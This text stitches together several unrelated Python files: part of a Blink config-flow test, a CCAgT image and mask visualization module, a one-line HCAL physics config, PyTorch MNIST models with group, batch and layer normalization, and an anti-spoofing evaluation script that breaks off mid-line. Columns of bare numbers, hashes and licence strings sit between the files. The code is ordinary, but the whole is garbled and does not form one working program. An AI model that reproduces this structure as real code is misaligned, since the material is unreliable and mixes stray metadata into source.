opp.config_entries.flow.async_configure( result["flow_id"], {"username": "blink@example.com", "password": "example"} ) assert result2["type"] == "form" assert result2["errors"] == {"base": "unknown"} async def test_reauth_shows_user_step(opp): """Test reauth shows the user form.""" result = await opp.config_entries.flow.async_init( DOMAIN, context={"source": config_entries.SOURCE_REAUTH} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" async def test_options_flow(opp): """Test config flow options.""" config_entry = MockConfigEntry( domain=DOMAIN, data={"username": "blink@example.com", "password": "example"}, options={}, entry_id=1, version=3, ) config_entry.add_to_opp(opp) mock_auth = Mock( startup=Mock(return_value=True), check_key_required=Mock(return_value=False) ) mock_blink = Mock() with patch("openpeerpower.components.blink.Auth", return_value=mock_auth), patch( "openpeerpower.components.blink.Blink", return_value=mock_blink ): await opp.config_entries.async_setup(config_entry.entry_id) await opp.async_block_till_done() result = await opp.config_entries.options.async_init( config_entry.entry_id, context={"show_advanced_options": False} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "simple_options" result = await opp.config_entries.options.async_configure( result["flow_id"], user_input={"scan_interval": 5}, ) assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["data"] == {"scan_interval": 5} assert mock_blink.refresh_rate == 5
35.863014
87
0.667208
1,217
10,472
5.506163
0.097781
0.123564
0.150425
0.172362
0.811371
0.775705
0.766154
0.722877
0.717057
0.716311
0
0.008852
0.201681
10,472
291
88
35.986254
0.792703
0.002578
0
0.62069
0
0
0.309578
0.211017
0
0
0
0
0.155172
1
0
false
0.038793
0.025862
0
0.025862
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5a70fe42134d514fb70afc819f45bdc480a3e142
7,702
py
Python
CCAgT_utils/visualization/_show.py
johnnv1/CCAgT_dataset_utils
362ac5f664d73c0cfa1b1a21c62f03318dcc4c32
[ "Apache-2.0" ]
1
2022-02-23T20:29:16.000Z
2022-02-23T20:29:16.000Z
CCAgT_utils/visualization/_show.py
johnnv1/CCAgT_dataset_utils
362ac5f664d73c0cfa1b1a21c62f03318dcc4c32
[ "Apache-2.0" ]
32
2022-02-18T23:38:00.000Z
2022-03-31T22:42:00.000Z
CCAgT_utils/visualization/_show.py
johnnv1/CCAgT-utils
2a12fcb2cd3a770aa81a9e75ed6ad68077b72bfb
[ "Apache-2.0" ]
null
null
null
from __future__ import annotations import os import random import sys import matplotlib.pyplot as plt from PIL import Image from CCAgT_utils import categories from CCAgT_utils.converters.CCAgT import CCAgT from CCAgT_utils.types.annotation import bounds_to_BBox from CCAgT_utils.types.annotation import count_BBox_categories from CCAgT_utils.types.mask import Mask from CCAgT_utils.visualization import plot def __search_all_files(dir_path: str) -> dict[str, str]: print(f'Finding all files into the directory {dir_path}...') all_files = {file: os.path.join(path, file) for path, _, files in os.walk(dir_path) for file in files} print(f'Find a total of {len(all_files)} files.') return all_files def image_with_boxes( CCAgT_ann: CCAgT, categories_infos: categories.CategoriesInfos, dir_path: str, images_extension: str, images_names: list[str] = [], shuffle_images: bool = True, look_recursive: bool = True, ) -> int: images_to_plot = CCAgT_ann.df['image_name'].unique() if len(images_names) > 0: images_to_plot = [i for i in images_to_plot if i in images_names] if look_recursive: all_files = __search_all_files(dir_path) if shuffle_images: random.shuffle(images_to_plot) get_id = {cat_info.name: cat_info.id for cat_info in categories_infos} for img_name in images_to_plot: if look_recursive: img_path = all_files[img_name + images_extension] else: img_path = os.path.join(dir_path, img_name + images_extension) if not os.path.exists(img_path): print(f'Not found the image {img_path}', file=sys.stderr) continue image_boxes = CCAgT_ann.df[CCAgT_ann.df['image_name'] == img_name].apply( lambda r: bounds_to_BBox( r['geometry'].bounds, r['category_id'], ), axis=1, ).to_numpy().tolist() counter = count_BBox_categories(image_boxes, categories_infos) text_counter = ' | '.join([f'{key}:: {value}' for key, value in counter.items()]) selected_categories = {get_id[cat_name] for cat_name in counter} handles = plot.create_handles(categories_infos, selected_categories) fig, ax = plt.subplots(1, 1, figsize=(16, 9)) img = Image.open(img_path) plot.image_with_boxes(img, image_boxes, ax, categories_infos, write_names=True) ax.legend(handles=handles) ax.set_title(img_name) plt.figtext( 0.5, 0.01, text_counter, fontsize=10, wrap=True, horizontalalignment='center', bbox={ 'facecolor': 'grey', 'alpha': 0.3, 'pad': 5, }, ) plt.show() del fig return 0 def image_and_mask( CCAgT_ann: CCAgT, categories_infos: categories.CategoriesInfos, dir_path: str, dir_mask_path: str, images_extension: str, masks_extension: str, images_names: list[str] = [], shuffle_images: bool = True, look_recursive: bool = True, ) -> int: images_to_plot = CCAgT_ann.df['image_name'].unique() if len(images_names) > 0: images_to_plot = [i for i in images_to_plot if i in images_names] if look_recursive: all_files = __search_all_files(dir_path) all_masks_files = __search_all_files(dir_mask_path) if shuffle_images: random.shuffle(images_to_plot) for img_name in images_to_plot: if look_recursive: img_path = all_files[img_name + images_extension] msk_path = all_masks_files[img_name + masks_extension] else: img_path = os.path.join(dir_path, img_name + images_extension) msk_path = os.path.join(dir_mask_path, img_name + masks_extension) if not os.path.exists(img_path): print(f'Not found the image {img_path}', file=sys.stderr) continue if not os.path.exists(msk_path): print(f'Not found the mask {msk_path}', file=sys.stderr) continue img = Image.open(img_path) msk_p = Image.open(msk_path).convert('L') msk = Mask(msk_p) fig = plt.figure(figsize=(32, 18)) ax1 = fig.add_subplot(2, 2, (1, 2)) ax1.imshow(img) ax1.set_axis_off() ax2 = fig.add_subplot(2, 2, 3, sharex=ax1, sharey=ax1) plot.mask_with_color(msk, ax2, categories_infos, colorized=True) handles = plot.create_handles(categories_infos, msk.unique_ids) ax2.legend(handles=handles) ax2.set_title('Mask') ax3 = fig.add_subplot(2, 2, 4, sharex=ax1, sharey=ax1) ax3.imshow(img) plot.mask_with_color(msk, ax3, categories_infos, colorized=True, alpha=0.4) ax3.set_title('Image with mask') fig.suptitle(img_name) plt.tight_layout() plt.show() return 0 def image_with_boxes_and_mask( CCAgT_ann: CCAgT, categories_infos: categories.CategoriesInfos, dir_path: str, dir_mask_path: str, images_extension: str, masks_extension: str, images_names: list[str] = [], shuffle_images: bool = True, look_recursive: bool = True, ) -> int: images_to_plot = CCAgT_ann.df['image_name'].unique() if len(images_names) > 0: images_to_plot = [i for i in images_to_plot if i in images_names] if look_recursive: all_files = __search_all_files(dir_path) all_masks_files = __search_all_files(dir_mask_path) if shuffle_images: random.shuffle(images_to_plot) for img_name in images_to_plot: if look_recursive: img_path = all_files[img_name + images_extension] msk_path = all_masks_files[img_name + masks_extension] else: img_path = os.path.join(dir_path, img_name + images_extension) msk_path = os.path.join(dir_mask_path, img_name + masks_extension) if not os.path.exists(img_path): print(f'Not found the image {img_path}', file=sys.stderr) continue if not os.path.exists(msk_path): print(f'Not found the mask {msk_path}', file=sys.stderr) continue img = Image.open(img_path) msk_p = Image.open(msk_path).convert('L') msk = Mask(msk_p) image_boxes = CCAgT_ann.df[CCAgT_ann.df['image_name'] == img_name].apply( lambda r: bounds_to_BBox( r['geometry'].bounds, r['category_id'], ), axis=1, ).to_numpy().tolist() counter = count_BBox_categories(image_boxes, categories_infos) text_counter = ' | '.join([f'{key}:: {value}' for key, value in counter.items()]) handles = plot.create_handles(categories_infos, msk.unique_ids) fig = plt.figure(figsize=(32, 18)) ax1 = fig.add_subplot(1, 2, 1) ax1.imshow(img) ax1.set_axis_off() ax2 = fig.add_subplot(1, 2, 2, sharex=ax1, sharey=ax1) plot.image_with_boxes(img, image_boxes, ax2, categories_infos, write_names=True) plot.mask_with_color(msk, ax2, categories_infos, colorized=True, alpha=0.4, vmin=1) ax2.legend(handles=handles) plt.figtext( 0.5, 0.01, text_counter, fontsize=10, wrap=True, horizontalalignment='center', bbox={ 'facecolor': 'grey', 'alpha': 0.3, 'pad': 5, }, ) fig.suptitle(img_name) plt.tight_layout() plt.show() return 0
31.565574
106
0.620618
1,044
7,702
4.295977
0.146552
0.028094
0.040134
0.022742
0.813601
0.772798
0.748495
0.725307
0.725307
0.693645
0
0.015445
0.277071
7,702
243
107
31.695473
0.79005
0
0
0.770833
0
0
0.056609
0
0
0
0
0
0
1
0.020833
false
0
0.0625
0
0.104167
0.036458
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ce5640b7d4eb52e3c884372879d7f0946df3094f
241
py
Python
Calibration/HcalAlCaRecoProducers/python/alcadijets_cfi.py
malbouis/cmssw
16173a30d3f0c9ecc5419c474bb4d272c58b65c8
[ "Apache-2.0" ]
852
2015-01-11T21:03:51.000Z
2022-03-25T21:14:00.000Z
Calibration/HcalAlCaRecoProducers/python/alcadijets_cfi.py
malbouis/cmssw
16173a30d3f0c9ecc5419c474bb4d272c58b65c8
[ "Apache-2.0" ]
30,371
2015-01-02T00:14:40.000Z
2022-03-31T23:26:05.000Z
Calibration/HcalAlCaRecoProducers/python/alcadijets_cfi.py
malbouis/cmssw
16173a30d3f0c9ecc5419c474bb4d272c58b65c8
[ "Apache-2.0" ]
3,240
2015-01-02T05:53:18.000Z
2022-03-31T17:24:21.000Z
import FWCore.ParameterSet.Config as cms # producer for alcadijet (HCAL dijet) import Calibration.HcalAlCaRecoProducers.alcaDiJetsProducer_cfi DiJetsProd = Calibration.HcalAlCaRecoProducers.alcaDiJetsProducer_cfi.alcaDiJetsProducer.clone()
40.166667
96
0.875519
23
241
9.086957
0.73913
0.30622
0.478469
0.507177
0
0
0
0
0
0
0
0
0.06639
241
5
97
48.2
0.928889
0.145228
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
ce80338405e06eab112defd279b7bcce992912f8
7,353
py
Python
assignment_6/src/model.py
amitbcp/tsai-vision
14a66d4c3295714fdcc97db13804ffba9d6f06cc
[ "Apache-2.0" ]
null
null
null
assignment_6/src/model.py
amitbcp/tsai-vision
14a66d4c3295714fdcc97db13804ffba9d6f06cc
[ "Apache-2.0" ]
null
null
null
assignment_6/src/model.py
amitbcp/tsai-vision
14a66d4c3295714fdcc97db13804ffba9d6f06cc
[ "Apache-2.0" ]
2
2021-07-25T10:24:11.000Z
2021-08-13T09:23:30.000Z
import torch.nn as nn import torch.nn.functional as F from torchsummary import summary class MNIST_GroupNorm(nn.Module): def __init__(self): super(MNIST_GroupNorm, self).__init__() self.convblock1 = nn.Sequential( nn.Conv2d(in_channels=1, out_channels=12, kernel_size=(3, 3), padding=0, bias=False), # 28x28x1 --> 26x26x12 --> 3x3 nn.ReLU(), nn.GroupNorm(num_channels=12,num_groups=3), nn.Conv2d(in_channels=12, out_channels=16, kernel_size=(3, 3), padding=0, bias=False), # 26x26x12 --> 24x24x16 --> 5x5 nn.ReLU(), nn.GroupNorm(num_channels=16,num_groups=4), nn.Conv2d(in_channels=16, out_channels=6, kernel_size=(1, 1), padding=1, bias=False), # 24x24x16 --> 24x24x6 --> 5x5 nn.ReLU(), nn.GroupNorm(num_channels=6,num_groups=2), nn.MaxPool2d(2, 2) # 24x24x6 --> 12x12x6 --> 6x6 ) # CONVOLUTION BLOCK 1 self.convblock2 = nn.Sequential( nn.Conv2d(in_channels=6, out_channels=12, kernel_size=(3, 3), padding=0, bias=False), # 12x12x6 --> 10x10x12 --> 12x12 nn.ReLU(), nn.GroupNorm(num_channels=12,num_groups=3), nn.Conv2d(in_channels=12, out_channels=14, kernel_size=(3, 3), padding=0, bias=False), # 10x10x12 --> 8x8x14 --> 16x16 nn.ReLU(), nn.GroupNorm(num_channels=14,num_groups=2), nn.Conv2d(in_channels=14, out_channels=14, kernel_size=(3, 3), padding=0, bias=False), # 8x8x14 --> 6x6x14 --> 20x20 nn.ReLU(), nn.GroupNorm(num_channels=14,num_groups=2), nn.Conv2d(in_channels=14, out_channels=14, kernel_size=(3, 3), padding=1, bias=False), # 6x6x14 --> 6x6x14 --> 24x24 nn.ReLU(), nn.GroupNorm(num_channels=14,num_groups=2), ) # OUTPUT BLOCK self.gap = nn.Sequential( nn.AdaptiveAvgPool2d(1), # 6x6x14 --> 1x1x14 --> 24x24 # nn.Linear(32, 10), ) self.classifier = nn.Sequential( # nn.Linear(16, 12), nn.Linear(14, 10)) # 1x1x14 --> 1x10 def forward(self,x): x = self.convblock1(x) x = self.convblock2(x) x = self.gap(x) x = x.view(-1, 14) x = self.classifier(x) return F.log_softmax(x, dim=1) class MNIST_BatchNorm(nn.Module): def __init__(self): super(MNIST_BatchNorm, self).__init__() self.convblock1 = nn.Sequential( nn.Conv2d(in_channels=1, out_channels=12, kernel_size=(3, 3), padding=0, bias=False), # 28x28x1 --> 26x26x12 --> 3x3 nn.ReLU(), nn.BatchNorm2d(12), nn.Conv2d(in_channels=12, out_channels=16, kernel_size=(3, 3), padding=0, bias=False), # 26x26x12 --> 24x24x16 --> 5x5 nn.ReLU(), nn.BatchNorm2d(16), nn.Conv2d(in_channels=16, out_channels=6, kernel_size=(1, 1), padding=1, bias=False), # 24x24x16 --> 24x24x6 --> 5x5 nn.ReLU(), nn.BatchNorm2d(6), nn.MaxPool2d(2, 2) # 24x24x6 --> 12x12x6 --> 6x6 ) # CONVOLUTION BLOCK 1 self.convblock2 = nn.Sequential( nn.Conv2d(in_channels=6, out_channels=12, kernel_size=(3, 3), padding=0, bias=False), # 12x12x6 --> 10x10x12 --> 12x12 nn.ReLU(), nn.BatchNorm2d(12), nn.Conv2d(in_channels=12, out_channels=14, kernel_size=(3, 3), padding=0, bias=False), # 10x10x12 --> 8x8x14 --> 16x16 nn.ReLU(), nn.BatchNorm2d(14), nn.Conv2d(in_channels=14, out_channels=14, kernel_size=(3, 3), padding=0, bias=False), # 8x8x14 --> 6x6x14 --> 20x20 nn.ReLU(), nn.BatchNorm2d(14), nn.Conv2d(in_channels=14, out_channels=14, kernel_size=(3, 3), padding=1, bias=False), # 6x6x14 --> 6x6x14 --> 24x24 nn.ReLU(), nn.BatchNorm2d(14), ) # OUTPUT BLOCK self.gap = nn.Sequential( nn.AdaptiveAvgPool2d(1), # 6x6x14 --> 1x1x14 --> 24x24 ) self.classifier = nn.Sequential( # nn.Linear(16, 12), nn.Linear(14, 10)) # 1x1x14 --> 1x10 def forward(self, x): x = self.convblock1(x) x = self.convblock2(x) # x = self.convblock3(x) x = self.gap(x) x = x.view(-1, 14) x = self.classifier(x) return F.log_softmax(x, dim=1) class MNIST_LayerNorm(nn.Module): def __init__(self): super(MNIST_LayerNorm, self).__init__() self.convblock1 = nn.Sequential( nn.Conv2d(in_channels=1, out_channels=12, kernel_size=(3, 3), padding=0, bias=False), # 28x28x1 --> 26x26x12 --> 3x3 nn.LayerNorm([12,26,26],elementwise_affine=True), nn.ReLU(), nn.Conv2d(in_channels=12, out_channels=16, kernel_size=(3, 3), padding=0, bias=False), # 26x26x12 --> 24x24x16 --> 5x5 nn.LayerNorm([24],elementwise_affine=True), nn.ReLU(), nn.Conv2d(in_channels=16, out_channels=6, kernel_size=(1, 1), padding=1, bias=False), # 24x24x16 --> 24x24x6 --> 5x5 nn.LayerNorm([26],elementwise_affine=True), nn.ReLU(), nn.MaxPool2d(2, 2) # 24x24x6 --> 12x12x6 --> 6x6 ) # CONVOLUTION BLOCK 1 self.convblock2 = nn.Sequential( nn.Conv2d(in_channels=6, out_channels=12, kernel_size=(3, 3), padding=0, bias=False), # 12x12x6 --> 10x10x12 --> 12x12 nn.LayerNorm([11],elementwise_affine=True), nn.ReLU(), nn.Conv2d(in_channels=12, out_channels=14, kernel_size=(3, 3), padding=0, bias=False), # 10x10x12 --> 8x8x14 --> 16x16 nn.LayerNorm([9],elementwise_affine=True), nn.ReLU(), nn.Conv2d(in_channels=14, out_channels=14, kernel_size=(3, 3), padding=0, bias=False), # 8x8x14 --> 6x6x14 --> 20x20 nn.LayerNorm([7],elementwise_affine=True), nn.ReLU(), nn.Conv2d(in_channels=14, out_channels=14, kernel_size=(3, 3), padding=1, bias=False), # 6x6x14 --> 6x6x14 --> 24x24 nn.LayerNorm([7],elementwise_affine=True), nn.ReLU(), ) # OUTPUT BLOCK self.gap = nn.Sequential( nn.AdaptiveAvgPool2d(1), # 6x6x14 --> 1x1x14 --> 24x24 ) self.classifier = nn.Sequential( nn.Linear(14, 10)) # 1x1x14 --> 1x10 def forward(self, x): x = self.convblock1(x) x = self.convblock2(x) x = self.gap(x) x = x.view(-1, 14) x = self.classifier(x) return F.log_softmax(x, dim=1) class Model_loader: def models(normalise,device): if normalise == 'BN': modelBatch = MNIST_BatchNorm().to(device) print(summary(modelBatch,input_size=(1,28,28))) return modelBatch elif normalise == 'LN': modelLayer = MNIST_LayerNorm().to(device) print(summary(modelLayer, input_size=(1, 28, 28))) return modelLayer else: modelGroup = MNIST_GroupNorm().to(device) print(summary(modelGroup, input_size=(1, 28, 28))) return modelGroup
39.111702
130
0.557732
907
7,353
4.384785
0.114664
0.042243
0.052804
0.095047
0.875031
0.866231
0.851144
0.811416
0.799598
0.792809
0
0.128933
0.29539
7,353
187
131
39.320856
0.63868
0.137223
0
0.707143
0
0
0.000635
0
0
0
0
0
0
1
0.05
false
0
0.021429
0
0.142857
0.021429
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ceb0174e7eee359e0e6d57853ad71256ba0806b3
17,598
py
Python
utils/eval_CSD.py
Liubinggunzu/VLAD-VSA
915455d8816a31241b6035359247b60d4c2bb0eb
[ "MIT" ]
9
2021-12-01T06:32:20.000Z
2022-03-14T14:03:50.000Z
utils/eval_CSD.py
Liubinggunzu/VLAD-VSA
915455d8816a31241b6035359247b60d4c2bb0eb
[ "MIT" ]
3
2021-11-29T17:35:05.000Z
2022-03-06T14:40:48.000Z
utils/eval_CSD.py
Liubinggunzu/VLAD-VSA
915455d8816a31241b6035359247b60d4c2bb0eb
[ "MIT" ]
null
null
null
from utils.utils import AverageMeter, accuracy from utils.statistic import get_EER_states, get_HTER_at_thr, calculate, calculate_threshold from sklearn.metrics import roc_auc_score from torch.autograd import Variable import torch import torch.nn as nn from torch.nn import functional as F import numpy as np def eval(valid_dataloader, model, norm_flag): criterion = nn.CrossEntropyLoss() valid_losses = AverageMeter() valid_top1 = AverageMeter() prob_dict = {} label_dict = {} model.eval() output_dict_tmp = {} target_dict_tmp = {} with torch.no_grad(): for iter, (input, target, videoID) in enumerate(valid_dataloader): input = Variable(input).cuda() target = Variable(torch.from_numpy(np.array(target)).long()).cuda() cls_out, _, feature = model(input, norm_flag) prob = F.softmax(cls_out, dim=1).cpu().data.numpy()[:, 1] label = target.cpu().data.numpy() videoID = videoID.cpu().data.numpy() for i in range(len(prob)): if(videoID[i] in prob_dict.keys()): prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) else: prob_dict[videoID[i]] = [] label_dict[videoID[i]] = [] prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]] = [] target_dict_tmp[videoID[i]] = [] output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) prob_list = [] label_list = [] for key in prob_dict.keys(): avg_single_video_prob = sum(prob_dict[key]) / len(prob_dict[key]) avg_single_video_label = sum(label_dict[key]) / len(label_dict[key]) prob_list = np.append(prob_list, avg_single_video_prob) label_list = np.append(label_list, avg_single_video_label) # compute loss and acc for every video avg_single_video_output = sum(output_dict_tmp[key]) / len(output_dict_tmp[key]) avg_single_video_target = sum(target_dict_tmp[key]) / len(target_dict_tmp[key]) loss = criterion(avg_single_video_output, avg_single_video_target) acc_valid = accuracy(avg_single_video_output, avg_single_video_target, topk=(1,)) valid_losses.update(loss.item()) valid_top1.update(acc_valid[0]) auc_score = roc_auc_score(label_list, prob_list) cur_EER_valid, threshold, _, _ = get_EER_states(prob_list, label_list) ACC_threshold = calculate_threshold(prob_list, label_list, threshold) cur_HTER_valid = get_HTER_at_thr(prob_list, label_list, threshold) return [valid_losses.avg, valid_top1.avg, cur_EER_valid, cur_HTER_valid, auc_score, threshold, ACC_threshold*100] def eval6(valid_dataloader, model, norm_flag): criterion = nn.CrossEntropyLoss() valid_losses = AverageMeter() valid_top1 = AverageMeter() prob_dict = {} label_dict = {} model.eval() output_dict_tmp = {} target_dict_tmp = {} with torch.no_grad(): for iter, (input, target, videoID) in enumerate(valid_dataloader): input = Variable(input).cuda() target = Variable(torch.from_numpy(np.array(target)).long()).cuda() # cls_out, _, feature = model(input, norm_flag) cls_out, _, _, _, _, _ = model(input, norm_flag) prob = F.softmax(cls_out, dim=1).cpu().data.numpy()[:, 1] label = target.cpu().data.numpy() videoID = videoID.cpu().data.numpy() for i in range(len(prob)): if(videoID[i] in prob_dict.keys()): prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) else: prob_dict[videoID[i]] = [] label_dict[videoID[i]] = [] prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]] = [] target_dict_tmp[videoID[i]] = [] output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) prob_list = [] label_list = [] for key in prob_dict.keys(): avg_single_video_prob = sum(prob_dict[key]) / len(prob_dict[key]) avg_single_video_label = sum(label_dict[key]) / len(label_dict[key]) prob_list = np.append(prob_list, avg_single_video_prob) label_list = np.append(label_list, avg_single_video_label) # compute loss and acc for every video avg_single_video_output = sum(output_dict_tmp[key]) / len(output_dict_tmp[key]) avg_single_video_target = sum(target_dict_tmp[key]) / len(target_dict_tmp[key]) loss = criterion(avg_single_video_output, avg_single_video_target) acc_valid = accuracy(avg_single_video_output, avg_single_video_target, topk=(1,)) valid_losses.update(loss.item()) valid_top1.update(acc_valid[0]) auc_score = roc_auc_score(label_list, prob_list) cur_EER_valid, threshold, _, _ = get_EER_states(prob_list, label_list) ACC_threshold = calculate_threshold(prob_list, label_list, threshold) cur_HTER_valid = get_HTER_at_thr(prob_list, label_list, threshold) return [valid_losses.avg, valid_top1.avg, cur_EER_valid, cur_HTER_valid, auc_score, threshold, ACC_threshold*100] def eval7(valid_dataloader, model, norm_flag): criterion = nn.CrossEntropyLoss() valid_losses = AverageMeter() valid_top1 = AverageMeter() prob_dict = {} label_dict = {} model.eval() output_dict_tmp = {} target_dict_tmp = {} with torch.no_grad(): for iter, (input, target, videoID) in enumerate(valid_dataloader): input = Variable(input).cuda() target = Variable(torch.from_numpy(np.array(target)).long()).cuda() # cls_out, _, feature = model(input, norm_flag) cls_out, _, _, _, _, _, _ = model(input, norm_flag) prob = F.softmax(cls_out, dim=1).cpu().data.numpy()[:, 1] label = target.cpu().data.numpy() videoID = videoID.cpu().data.numpy() for i in range(len(prob)): if(videoID[i] in prob_dict.keys()): prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) else: prob_dict[videoID[i]] = [] label_dict[videoID[i]] = [] prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]] = [] target_dict_tmp[videoID[i]] = [] output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) prob_list = [] label_list = [] for key in prob_dict.keys(): avg_single_video_prob = sum(prob_dict[key]) / len(prob_dict[key]) avg_single_video_label = sum(label_dict[key]) / len(label_dict[key]) prob_list = np.append(prob_list, avg_single_video_prob) label_list = np.append(label_list, avg_single_video_label) # compute loss and acc for every video avg_single_video_output = sum(output_dict_tmp[key]) / len(output_dict_tmp[key]) avg_single_video_target = sum(target_dict_tmp[key]) / len(target_dict_tmp[key]) loss = criterion(avg_single_video_output, avg_single_video_target) acc_valid = accuracy(avg_single_video_output, avg_single_video_target, topk=(1,)) valid_losses.update(loss.item()) valid_top1.update(acc_valid[0]) auc_score = roc_auc_score(label_list, prob_list) cur_EER_valid, threshold, _, _ = get_EER_states(prob_list, label_list) ACC_threshold = calculate_threshold(prob_list, label_list, threshold) cur_HTER_valid = get_HTER_at_thr(prob_list, label_list, threshold) return [valid_losses.avg, valid_top1.avg, cur_EER_valid, cur_HTER_valid, auc_score, threshold, ACC_threshold*100] def eval8(valid_dataloader, model, norm_flag): criterion = nn.CrossEntropyLoss() valid_losses = AverageMeter() valid_top1 = AverageMeter() prob_dict = {} label_dict = {} model.eval() output_dict_tmp = {} target_dict_tmp = {} with torch.no_grad(): for iter, (input, target, videoID) in enumerate(valid_dataloader): input = Variable(input).cuda() target = Variable(torch.from_numpy(np.array(target)).long()).cuda() # cls_out, _, feature = model(input, norm_flag) cls_out, _, _, _, _, _, _, _ = model(input, norm_flag) prob = F.softmax(cls_out, dim=1).cpu().data.numpy()[:, 1] label = target.cpu().data.numpy() videoID = videoID.cpu().data.numpy() for i in range(len(prob)): if(videoID[i] in prob_dict.keys()): prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) else: prob_dict[videoID[i]] = [] label_dict[videoID[i]] = [] prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]] = [] target_dict_tmp[videoID[i]] = [] output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) prob_list = [] label_list = [] for key in prob_dict.keys(): avg_single_video_prob = sum(prob_dict[key]) / len(prob_dict[key]) avg_single_video_label = sum(label_dict[key]) / len(label_dict[key]) prob_list = np.append(prob_list, avg_single_video_prob) label_list = np.append(label_list, avg_single_video_label) # compute loss and acc for every video avg_single_video_output = sum(output_dict_tmp[key]) / len(output_dict_tmp[key]) avg_single_video_target = sum(target_dict_tmp[key]) / len(target_dict_tmp[key]) loss = criterion(avg_single_video_output, avg_single_video_target) acc_valid = accuracy(avg_single_video_output, avg_single_video_target, topk=(1,)) valid_losses.update(loss.item()) valid_top1.update(acc_valid[0]) auc_score = roc_auc_score(label_list, prob_list) cur_EER_valid, threshold, _, _ = get_EER_states(prob_list, label_list) ACC_threshold = calculate_threshold(prob_list, label_list, threshold) cur_HTER_valid = get_HTER_at_thr(prob_list, label_list, threshold) return [valid_losses.avg, valid_top1.avg, cur_EER_valid, cur_HTER_valid, auc_score, threshold, ACC_threshold*100] def eval9(valid_dataloader, model, norm_flag): criterion = nn.CrossEntropyLoss() valid_losses = AverageMeter() valid_top1 = AverageMeter() prob_dict = {} label_dict = {} model.eval() output_dict_tmp = {} target_dict_tmp = {} with torch.no_grad(): for iter, (input, target, videoID) in enumerate(valid_dataloader): input = Variable(input).cuda() target = Variable(torch.from_numpy(np.array(target)).long()).cuda() # cls_out, _, feature = model(input, norm_flag) cls_out, _, _, _, _, _, _, _, _ = model(input, norm_flag) prob = F.softmax(cls_out, dim=1).cpu().data.numpy()[:, 1] label = target.cpu().data.numpy() videoID = videoID.cpu().data.numpy() for i in range(len(prob)): if(videoID[i] in prob_dict.keys()): prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) else: prob_dict[videoID[i]] = [] label_dict[videoID[i]] = [] prob_dict[videoID[i]].append(prob[i]) label_dict[videoID[i]].append(label[i]) output_dict_tmp[videoID[i]] = [] target_dict_tmp[videoID[i]] = [] output_dict_tmp[videoID[i]].append(cls_out[i].view(1, 2)) target_dict_tmp[videoID[i]].append(target[i].view(1)) prob_list = [] label_list = [] for key in prob_dict.keys(): avg_single_video_prob = sum(prob_dict[key]) / len(prob_dict[key]) avg_single_video_label = sum(label_dict[key]) / len(label_dict[key]) prob_list = np.append(prob_list, avg_single_video_prob) label_list = np.append(label_list, avg_single_video_label) # compute loss and acc for every video avg_single_video_output = sum(output_dict_tmp[key]) / len(output_dict_tmp[key]) avg_single_video_target = sum(target_dict_tmp[key]) / len(target_dict_tmp[key]) loss = criterion(avg_single_video_output, avg_single_video_target) acc_valid = accuracy(avg_single_video_output, avg_single_video_target, topk=(1,)) valid_losses.update(loss.item()) valid_top1.update(acc_valid[0]) auc_score = roc_auc_score(label_list, prob_list) cur_EER_valid, threshold, _, _ = get_EER_states(prob_list, label_list) ACC_threshold = calculate_threshold(prob_list, label_list, threshold) cur_HTER_valid = get_HTER_at_thr(prob_list, label_list, threshold) return [valid_losses.avg, valid_top1.avg, cur_EER_valid, cur_HTER_valid, auc_score, threshold, ACC_threshold*100] def eval5(valid_dataloader, model, norm_flag): criterion = nn.CrossEntropyLoss() valid_losses = AverageMeter() valid_top1 = AverageMeter() prob_dict = {} label_dict = {} model.eval() output_dict_tmp = {} target_dict_tmp = {} with torch.no_grad(): for iter, (input, target, videoID) in enumerate(valid_dataloader): input = Variable(input).cuda() target = Variable(torch.from_numpy(np.array(target)).long()).cuda() # cls_out, _, feature = model(input, norm_flag) cls_out, _, _, _, _ = model(input, norm_flag) prob = F.softmax(cls_out, 